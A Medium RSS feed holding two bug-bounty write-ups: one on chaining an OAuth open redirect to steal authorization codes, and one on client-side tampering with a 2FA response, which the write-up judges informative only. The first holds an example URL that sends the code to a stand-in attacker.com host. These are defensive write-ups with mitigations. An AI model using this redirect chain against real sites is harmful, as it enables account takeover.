<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by z00x on Medium]]></title>
        <description><![CDATA[Stories by z00x on Medium]]></description>
        <link>https://medium.com/@z00x?source=rss-816fe9b9219c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*iGcyz1ACZ9yFdAu6</url>
            <title>Stories by z00x on Medium</title>
            <link>https://medium.com/@z00x?source=rss-816fe9b9219c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 18:08:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@z00x/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ From Open Redirect to Full Account Takeover: Exploiting OAuth Misconfiguration]]></title>
            <link>https://z00x.medium.com/from-open-redirect-to-full-account-takeover-exploiting-oauth-misconfiguration-35b0d215cf02?source=rss-816fe9b9219c------2</link>
            <guid isPermaLink="false">https://medium.com/p/35b0d215cf02</guid>
            <category><![CDATA[oauth]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[open-redirect]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[z00x]]></dc:creator>
            <pubDate>Thu, 08 May 2025 18:26:46 GMT</pubDate>
            <atom:updated>2025-05-08T18:26:46.688Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YntxFwxDpHisUoJeAkCnmw.png" /></figure><h3>🚨 From Open Redirect in login &amp; logout: Exploiting OAuth Misconfiguration</h3><p>In the realm of web security, open redirects are often dismissed as low-severity issues. However, when combined with OAuth misconfiguration, they can escalate to critical vulnerabilities, leading to full account takeovers. In this article, I delve into a real-world scenario where an open redirect in an OAuth callback endpoint was exploited to compromise user accounts.</p><h4><strong>🕵️ Discovery: The Overlooked Open Redirect</strong></h4><ul><li>While analyzing the OAuth implementation of a web application, I noticed that the land parameter in the /authcallback endpoint was vulnerable to open redirection:</li></ul><pre>https://example.com/authcallback?land=https://attacker.com</pre><ul><li>This parameter lacked proper validation, allowing redirection to arbitrary domains. At first glance, this seemed like a minor issue. However, considering the context of OAuth flows, the implications were far more severe.</li></ul><h4>🔗 The Exploit: Capturing Authorization Codes</h4><ul><li>In OAuth 2.0, after successful authentication, the authorization server redirects the user to a specified URI with an authorization code:</li></ul><pre><br>https://example.com/authcallback?code=AUTH_CODE&amp;state=STATE</pre><ul><li>Due to the open redirect, an attacker could craft a URL that redirects this code to a malicious domain:</li></ul><pre><br>https://example.com/authcallback?land=https://attacker.com/steal?code=AUTH_CODE&amp;state=STATE</pre><ul><li>By tricking a user into clicking this link and authenticating, the attacker would receive the authorization code at their controlled server.</li></ul><h3>🛡️ Mitigation Strategies</h3><p><strong>To prevent such vulnerabilities:</strong></p><ul><li><strong>Validate Redirect URIs</strong>: Ensure that all redirect URIs are preregistered and validated against a whitelist.</li><li><strong>Avoid Open Redirects</strong>: Do not allow user-controlled parameters to dictate redirection destinations.</li><li><strong>Implement PKCE</strong>: Use Proof Key for Code Exchange (PKCE) to add an additional layer of security to the OAuth flow.</li><li><strong>Monitor OAuth Flows</strong>: Keep an eye on unusual OAuth activities, such as multiple token exchanges from the same code.</li></ul><h3>📌 Conclusion</h3><p>This case underscores the importance of scrutinizing even seemingly minor vulnerabilities like open redirects, especially within the context of authentication flows. Proper validation and adherence to OAuth best practices are crucial in safeguarding user accounts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=35b0d215cf02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Email-Based 2FA via Client-Side Response Tampering: An Informative Case Study]]></title>
            <link>https://z00x.medium.com/bypassing-email-based-2fa-via-client-side-response-tampering-an-informative-case-study-ef4c58b9c97f?source=rss-816fe9b9219c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef4c58b9c97f</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[email-verification]]></category>
            <category><![CDATA[2fa-bypass]]></category>
            <category><![CDATA[2fa-authentication]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[z00x]]></dc:creator>
            <pubDate>Wed, 30 Apr 2025 14:19:53 GMT</pubDate>
            <atom:updated>2025-04-30T14:29:33.448Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HbeNtqHlwKZ0jqBhr4IMoQ.jpeg" /></figure><p>In this write-up, I detail a vulnerability in the Silicon Labs Community registration flow where an attacker can tamper with the server’s email-verification response to bypass the OTP step on the client side. Although the server ultimately enforces verification (no valid session is ever issued), this UI manipulation could mislead end users or be weaponized in social-engineering campaigns. I’ll cover the technical details, impact assessment, and recommendations for fully server-side enforcement.</p><h4>1. Vulnerability Overview</h4><p>During registration, the server sends a one-time PIN (OTP) to the user’s email and expects the client to submit it back. By intercepting the HTTP response that carries the “OTP verified” flag and manually changing it from failure to success, the client interface proceeds as if verification succeeded — even though the server never issues a session token or grants access to protected resources. This is a classic example of <strong>Broken Client-Side Access Control</strong>, where the UI logic trusts mutable client data without re-verifying it on the server side</p><h4><strong>2. Technical Details &amp; Reproduction</strong></h4><ol><li><strong>Normal Flow</strong></li></ol><ul><li>User submits registration form → server responds with “OTP required.”</li><li>Client displays OTP input.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*P1TDO0UDlf_esj6cIKBmVw.png" /><figcaption>Waiting for input valid OTP</figcaption></figure><ul><li>User enters wrong OTP → server responds with failure.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*eIhJFNNQ172WQ-wfCq_hEw.png" /><figcaption>Input invalid OTP</figcaption></figure><ol><li><strong>Tampering Flow</strong></li></ol><ul><li>Intercept the “failure” response (e.g. via a proxy like Burp).</li><li>Replace it by successful response.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NVPcfCDRn27mvGeVemKT1Q.png" /><figcaption>Replace response</figcaption></figure><ul><li>Client JavaScript displays the “verified” UI and proceeds to the next screen — despite no server-side session <a href="https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html?utm_source=chatgpt.com">OWASP Cheat Sheet Series</a>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*s09ChM8rjXC96A5xtimnHA.png" /><figcaption>2fa bypass on client-side</figcaption></figure><ol><li><strong>Verification</strong></li></ol><ul><li>No session cookie or bearer token is issued.</li><li>Attempts to access authenticated APIs return “unauthorized.”</li><li>The account remains unusable.</li></ul><h3>3. Impact Assessment</h3><ul><li><strong>Technical Impact:</strong> None on authentication or authorization — the server enforces email verification before issuing any credentials.</li><li><strong>User-Confusion Risk:</strong> End-users may believe their account is active when it isn’t, leading to support requests or wasted effort.</li><li><strong>Social-Engineering Potential:</strong> An attacker could craft a tutorial or phishing kit showing “successful” registration, tricking users into sharing sensitive information under false pretenses — similar in spirit to UI redressing attacks (e.g., clickjacking) <a href="https://en.wikipedia.org/wiki/Clickjacking?utm_source=chatgpt.com">Wikipedia</a>.</li></ul><p>Because the root issue is purely a <strong>client-side UI logic flaw</strong>, it offers no path to full account takeover and is therefore classified as <strong>Informative</strong>.</p><h3>4. Recommendations</h3><ol><li><strong>Enforce Server-Side Verification</strong></li><li><strong>Harden Session Management</strong></li><li><strong>Harden Session Management</strong></li></ol><ul><li>Issue session tokens only upon successful server verification.</li><li>Reject any client requests claiming “verified” without a valid session <a href="https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html">OWASP Cheat Sheet Series</a>.</li></ul><ol><li><strong>Treat UI Manipulation as a Bug Class</strong></li></ol><ul><li>Incorporate automated checks for altered JSON fields or unexpected client values — similar to how XSS defenses model untrusted input <a href="https://en.wikipedia.org/wiki/Cross-site_scripting">Wikipedia</a>.</li></ul><ol><li><strong>User Feedback &amp; Logging</strong></li></ol><ul><li>Display clear error messages when registration ultimately fails on the server, even if the UI appeared to succeed.</li><li>Log UI-side tampering attempts for auditing or WAF triggers.</li></ul><h3>5. Conclusion</h3><p>This case highlights the importance of <strong>server-centric security</strong>: while modern applications rely on rich client interactions, <strong>nothing security-critical should depend solely on mutable client state</strong> <a href="https://owasp.org/www-project-top-10-client-side-security-risks/?utm_source=chatgpt.com">OWASP Foundation</a>. By following OWASP’s guidance on client-side risks and enforcing robust server-side checks, such UI bypasses become impossible to exploit.</p><blockquote>Thank you to the Silicon Labs team for their prompt review and classification of this finding as Informative. I look forward to collaborating on future improvements to make the registration flow both user-friendly and unassailably secure!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef4c58b9c97f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>